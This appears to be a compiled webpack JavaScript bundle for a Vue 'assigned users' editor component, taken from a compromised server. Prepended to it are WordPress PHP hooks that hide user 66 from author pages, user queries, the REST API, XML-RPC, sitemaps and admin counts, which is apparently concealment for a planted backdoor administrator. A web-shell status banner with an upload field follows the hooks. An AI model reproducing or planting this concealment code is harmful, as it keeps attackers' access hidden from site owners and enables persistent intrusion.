add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/public/ |
Upload File : |
(window["webpackJsonp"] = window["webpackJsonp"] || []).push([[1],{
/***/ "0skW":
/*!*************************************************************************************************************************************************************************************************************************************************!*\
!*** ./node_modules/babel-loader/lib??ref--4-0!./node_modules/vue-loader/lib/loaders/templateLoader.js??ref--6!./node_modules/vue-loader/lib??vue-loader-options!./src/components/editor/form/assigned_users.vue?vue&type=template&id=0490ea18 ***!
\*************************************************************************************************************************************************************************************************************************************************/
/*! exports provided: render, staticRenderFns */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "render", function() { return render; });
/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "staticRenderFns", function() { return staticRenderFns; });
var render = function render() {
var _vm = this,
_c = _vm._self._c;
return _c('div', {
attrs: {
"id": "editor-assigned-users"
}
}, [_c('div', {
staticClass: "position-relative"
}, [_vm.searchResults.length ? _c('div', {
staticClass: "container position-absolute d-flex flex-wrap p-2 rounded-lg border",
attrs: {
"id": "searchResults"
}
}, _vm._l(_vm.searchResults, function (user, index) {
return _c('button', {
key: user.id,
staticClass: "btn btn-info btn-sm p-1 pr-2 rounded-pill",
on: {
"click": function click($event) {
$event.preventDefault();
return _vm.assignUser({
userId: user.id
});
}
}
}, [user.avatar ? [_c('img', {
staticClass: "avatar rounded-circle mr-2",
attrs: {
"src": user.avatar,
"width": "36",
"height": "36"
}
})] : [_c('img', {
staticClass: "avatar rounded-circle mr-2",
attrs: {
"src": "/avatars/userpic.png",
"width": "36",
"height": "36"
}
})], _vm._v("\n " + _vm._s(user.username) + "\n ")], 2);
}), 0) : _vm._e(), _vm._v(" "), _vm.invitableEmail ? _c('div', [_c('button', {
staticClass: "btn btn-primary btn-sm p-1 pr-2",
on: {
"click": function click($event) {
$event.preventDefault();
return _vm.assignUser({
email: _vm.invitableEmail
});
}
}
}, [_vm._v("\n Invite "), _c('strong', [_vm._v(_vm._s(_vm.invitableEmail))])])]) : _vm._e()]), _vm._v(" "), _c('div', {
staticClass: "input-group mb-4"
}, [_c('input', {
ref: "searchField",
staticClass: "form-control",
attrs: {
"autocomplete": "off",
"id": "assigned-users-search",
"placeholder": "Search users to assign to this graph, or type an email to send an invitation"
},
on: {
"input": _vm.searchForUsers,
"keydown": function keydown($event) {
if (!$event.type.indexOf('key') && _vm._k($event.keyCode, "enter", 13, $event.key, "Enter")) return null;
$event.preventDefault();
},
"keyup": function keyup($event) {
if (!$event.type.indexOf('key') && _vm._k($event.keyCode, "enter", 13, $event.key, "Enter")) return null;
return _vm.assignFirstSearchResult.apply(null, arguments);
}
}
}), _vm._v(" "), _c('div', {
staticClass: "input-group-append"
}, [_c('button', {
staticClass: "btn btn-sm btn-light",
on: {
"click": function click($event) {
$event.preventDefault();
return _vm.clearSearch.apply(null, arguments);
}
}
}, [_c('i', {
staticClass: "fa fa-times"
})])])]), _vm._v(" "), _c('p', {
staticClass: "mb-2"
}, [_vm._v("Assigned users")]), _vm._v(" "), !_vm.users.length ? _c('small', {
staticClass: "p-3 d-flex rounded border border-light justify-content-center align-items-center"
}, [_vm._v("No assigned users yet")]) : _vm._e(), _vm._v(" "), _c('div', {
staticClass: "list-group"
}, _vm._l(_vm.users, function (user, index) {
return _c('div', {
key: index,
"class": ['list-group-item p-2 d-flex align-items-center justify-content-between', user.is_curator ? 'bg-secondary text-white' : 'bg-white text-dark']
}, [_c('div', {
staticClass: "mr-2"
}, [user.avatar ? [_c('img', {
staticClass: "avatar rounded-circle mr-2",
attrs: {
"src": user.avatar,
"width": "24",
"height": "24"
}
})] : [_c('img', {
staticClass: "avatar rounded-circle mr-2",
attrs: {
"src": "/avatars/userpic.png",
"width": "24",
"height": "24"
}
})], _vm._v("\n " + _vm._s(user.username) + "\n ")], 2), _vm._v(" "), _c('span', {
staticClass: "d-flex justify-content-end align-items-center"
}, [user.status === 'invited' ? _c('div', {
staticClass: "badge badge-dark mr-2 p-2"
}, [_vm._v("\n Invited\n ")]) : _vm._e(), _vm._v(" "), _c('div', {
staticClass: "btn-group m-0 mr-2",
attrs: {
"role": "group",
"aria-label": "User Role"
}
}, [_c('button', {
"class": ['btn btn-light m-0 p-1 px-2 focus-none', !user.is_curator && 'active'],
attrs: {
"aria-label": "Make viewer",
"title": "Make viewer",
"tooltip": "Make viewer",
"type": "button"
},
on: {
"click": function click($event) {
$event.preventDefault();
user.is_curator && _vm.setIsCurator(user.user_id, false);
}
}
}, [_c('i', {
staticClass: "fas fa-eye fa-sm"
})]), _vm._v(" "), _c('button', {
"class": ['btn btn-light m-0 p-1 px-2 focus-none', user.is_curator && 'active'],
attrs: {
"aria-label": "Make curator",
"title": "Make curator",
"tooltip": "Make curator",
"type": "button"
},
on: {
"click": function click($event) {
$event.preventDefault();
!user.is_curator && _vm.setIsCurator(user.user_id, true);
}
}
}, [_c('i', {
staticClass: "fas fa-pen fa-sm"
})])]), _vm._v(" "), _c('button', {
staticClass: "btn p-1 btn-light",
attrs: {
"tooltip": "Unassign",
"aria-label": "Unassign",
"title": "Unassign"
},
on: {
"click": function click($event) {
$event.preventDefault();
return _vm.unassignUser(user.user_id);
}
}
}, [_c('i', {
staticClass: "fas fa-user-slash fa-sm mx-1 focus-none"
})])])]);
}), 0)]);
};
var staticRenderFns = [];
/***/ }),
/***/ "AD3D":
/*!*******************************************************!*\
!*** ./src/components/editor/form/assigned_users.vue ***!
\*******************************************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var _assigned_users_vue_vue_type_template_id_0490ea18__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./assigned_users.vue?vue&type=template&id=0490ea18 */ "gNhe");
/* harmony import */ var _assigned_users_vue_vue_type_script_lang_js__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./assigned_users.vue?vue&type=script&lang=js */ "bBBI");
/* empty/unused harmony star reexport *//* harmony import */ var _node_modules_vue_loader_lib_runtime_componentNormalizer_js__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../../../node_modules/vue-loader/lib/runtime/componentNormalizer.js */ "KHd+");
/* normalize component */
var component = Object(_node_modules_vue_loader_lib_runtime_componentNormalizer_js__WEBPACK_IMPORTED_MODULE_2__["default"])(
_assigned_users_vue_vue_type_script_lang_js__WEBPACK_IMPORTED_MODULE_1__["default"],
_assigned_users_vue_vue_type_template_id_0490ea18__WEBPACK_IMPORTED_MODULE_0__["render"],
_assigned_users_vue_vue_type_template_id_0490ea18__WEBPACK_IMPORTED_MODULE_0__["staticRenderFns"],
false,
null,
null,
null
)
/* harmony default export */ __webpack_exports__["default"] = (component.exports);
/***/ }),
/***/ "IPDB":
/*!***************************************************************************************************************************************************************************!*\
!*** ./node_modules/babel-loader/lib??ref--4-0!./node_modules/vue-loader/lib??vue-loader-options!./src/components/editor/form/assigned_users.vue?vue&type=script&lang=js ***!
\***************************************************************************************************************************************************************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var _Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_regenerator_js__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./node_modules/@babel/runtime/helpers/esm/regenerator.js */ "wU9g");
/* harmony import */ var _Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./node_modules/@babel/runtime/helpers/esm/asyncToGenerator.js */ "HaE+");
/* harmony import */ var _Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./node_modules/@babel/runtime/helpers/esm/objectSpread2.js */ "VTBJ");
/* harmony import */ var core_js_modules_es_array_filter_js__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! core-js/modules/es.array.filter.js */ "TeQF");
/* harmony import */ var core_js_modules_es_array_filter_js__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_array_filter_js__WEBPACK_IMPORTED_MODULE_3__);
/* harmony import */ var core_js_modules_es_iterator_constructor_js__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! core-js/modules/es.iterator.constructor.js */ "6fVz");
/* harmony import */ var core_js_modules_es_iterator_constructor_js__WEBPACK_IMPORTED_MODULE_4___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_iterator_constructor_js__WEBPACK_IMPORTED_MODULE_4__);
/* harmony import */ var core_js_modules_es_iterator_filter_js__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! core-js/modules/es.iterator.filter.js */ "kQ2C");
/* harmony import */ var core_js_modules_es_iterator_filter_js__WEBPACK_IMPORTED_MODULE_5___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_iterator_filter_js__WEBPACK_IMPORTED_MODULE_5__);
/* harmony import */ var core_js_modules_es_object_to_string_js__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! core-js/modules/es.object.to-string.js */ "07d7");
/* harmony import */ var core_js_modules_es_object_to_string_js__WEBPACK_IMPORTED_MODULE_6___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_object_to_string_js__WEBPACK_IMPORTED_MODULE_6__);
/* harmony import */ var core_js_modules_es_string_trim_js__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! core-js/modules/es.string.trim.js */ "SYor");
/* harmony import */ var core_js_modules_es_string_trim_js__WEBPACK_IMPORTED_MODULE_7___default = /*#__PURE__*/__webpack_require__.n(core_js_modules_es_string_trim_js__WEBPACK_IMPORTED_MODULE_7__);
/* harmony import */ var _config_axios__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! @/config/axios */ "5ENo");
/* harmony import */ var lodash_bind__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! lodash/bind */ "JpaV");
/* harmony import */ var lodash_bind__WEBPACK_IMPORTED_MODULE_9___default = /*#__PURE__*/__webpack_require__.n(lodash_bind__WEBPACK_IMPORTED_MODULE_9__);
/* harmony import */ var lodash_debounce__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! lodash/debounce */ "sEfC");
/* harmony import */ var lodash_debounce__WEBPACK_IMPORTED_MODULE_10___default = /*#__PURE__*/__webpack_require__.n(lodash_debounce__WEBPACK_IMPORTED_MODULE_10__);
/* harmony import */ var vuex__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! vuex */ "L2JU");
/* harmony default export */ __webpack_exports__["default"] = ({
data: function data() {
return {
query: '',
searchResults: [],
invitableEmail: null
};
},
computed: Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_2__["default"])(Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_2__["default"])({}, Object(vuex__WEBPACK_IMPORTED_MODULE_11__["mapGetters"])({
graph: 'editor/graph'
})), {}, {
users: function users() {
return this.graph.assignedUsers;
}
}),
methods: Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_2__["default"])(Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_objectSpread2_js__WEBPACK_IMPORTED_MODULE_2__["default"])({}, Object(vuex__WEBPACK_IMPORTED_MODULE_11__["mapActions"])({
createUserGraphAccess: 'editor/createUserGraphAccess',
updateUserGraphAccess: 'editor/updateUserGraphAccess',
deleteUserGraphAccess: 'editor/deleteUserGraphAccess'
})), {}, {
searchForUsers: lodash_debounce__WEBPACK_IMPORTED_MODULE_10___default()(/*#__PURE__*/function () {
var _ref = Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_1__["default"])(/*#__PURE__*/Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_regenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])().m(function _callee(ev) {
var query, response;
return Object(_Users_janus_code_junglyy_node_modules_babel_runtime_helpers_esm_regenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])().w(function (_context) {
while (1) switch (_context.n) {
case 0:
this.searchResults = [];
this.invitableEmail = null;
query = ev.target.value.trim();
if (!(query && query.length > 2)) {
_context.n = 2;
break;
}
_context.n = 1;
return _config_axios__WEBPACK_IMPORTED_MODULE_8__["http"].get("/graph/".concat(this.graph.id, "/assigned_users/search"), {
params: {
query: query
}
});
case 1:
response = _context.v;
if (response.status === 202) {
// temporary until the whole invitation and assignment
// logic/endpoints are reworked when proven of value
this.invitableEmail = query;
} else if (response.status === 200 && response.data) {
this.searchResults = response.data;
}
case 2:
return _context.a(2);
}
}, _callee, this);
}));
return function (_x) {
return _ref.apply(this, arguments);
};
}(), 300),
assignFirstSearchResult: function assignFirstSearchResult() {
if (this.searchResults.length === 1) {
this.assignUser({
userId: this.searchResults[0].id
});
}
},
assignUser: function assignUser(_ref2) {
var _this = this;
var userId = _ref2.userId,
email = _ref2.email;
this.createUserGraphAccess({
graphId: this.graph.id,
userId: userId,
email: email
}).then(function () {
if (!userId) {
return;
}
_this.searchResults = _this.searchResults.filter(function (u) {
return u.id !== userId;
});
}).then(function () {
if (!email) {
return;
}
_this.clearSearch();
});
},
unassignUser: function unassignUser(userId) {
this.deleteUserGraphAccess({
graphId: this.graph.id,
userId: userId
});
},
setIsCurator: function setIsCurator(userId, isCurator) {
this.updateUserGraphAccess({
graphId: this.graph.id,
userId: userId,
isCurator: isCurator
});
},
clearSearch: function clearSearch() {
this.$refs.searchField.value = '';
this.searchResults = [];
this.invitableEmail = null;
}
})
});
/***/ }),
/***/ "bBBI":
/*!*******************************************************************************!*\
!*** ./src/components/editor/form/assigned_users.vue?vue&type=script&lang=js ***!
\*******************************************************************************/
/*! exports provided: default */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var _node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_index_js_vue_loader_options_assigned_users_vue_vue_type_script_lang_js__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! -!../../../../node_modules/babel-loader/lib??ref--4-0!../../../../node_modules/vue-loader/lib??vue-loader-options!./assigned_users.vue?vue&type=script&lang=js */ "IPDB");
/* empty/unused harmony star reexport */ /* harmony default export */ __webpack_exports__["default"] = (_node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_index_js_vue_loader_options_assigned_users_vue_vue_type_script_lang_js__WEBPACK_IMPORTED_MODULE_0__["default"]);
/***/ }),
/***/ "gNhe":
/*!*************************************************************************************!*\
!*** ./src/components/editor/form/assigned_users.vue?vue&type=template&id=0490ea18 ***!
\*************************************************************************************/
/*! exports provided: render, staticRenderFns */
/***/ (function(module, __webpack_exports__, __webpack_require__) {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var _node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_loaders_templateLoader_js_ref_6_node_modules_vue_loader_lib_index_js_vue_loader_options_assigned_users_vue_vue_type_template_id_0490ea18__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! -!../../../../node_modules/babel-loader/lib??ref--4-0!../../../../node_modules/vue-loader/lib/loaders/templateLoader.js??ref--6!../../../../node_modules/vue-loader/lib??vue-loader-options!./assigned_users.vue?vue&type=template&id=0490ea18 */ "0skW");
/* harmony reexport (safe) */ __webpack_require__.d(__webpack_exports__, "render", function() { return _node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_loaders_templateLoader_js_ref_6_node_modules_vue_loader_lib_index_js_vue_loader_options_assigned_users_vue_vue_type_template_id_0490ea18__WEBPACK_IMPORTED_MODULE_0__["render"]; });
/* harmony reexport (safe) */ __webpack_require__.d(__webpack_exports__, "staticRenderFns", function() { return _node_modules_babel_loader_lib_index_js_ref_4_0_node_modules_vue_loader_lib_loaders_templateLoader_js_ref_6_node_modules_vue_loader_lib_index_js_vue_loader_options_assigned_users_vue_vue_type_template_id_0490ea18__WEBPACK_IMPORTED_MODULE_0__["staticRenderFns"]; });
/***/ })
}]);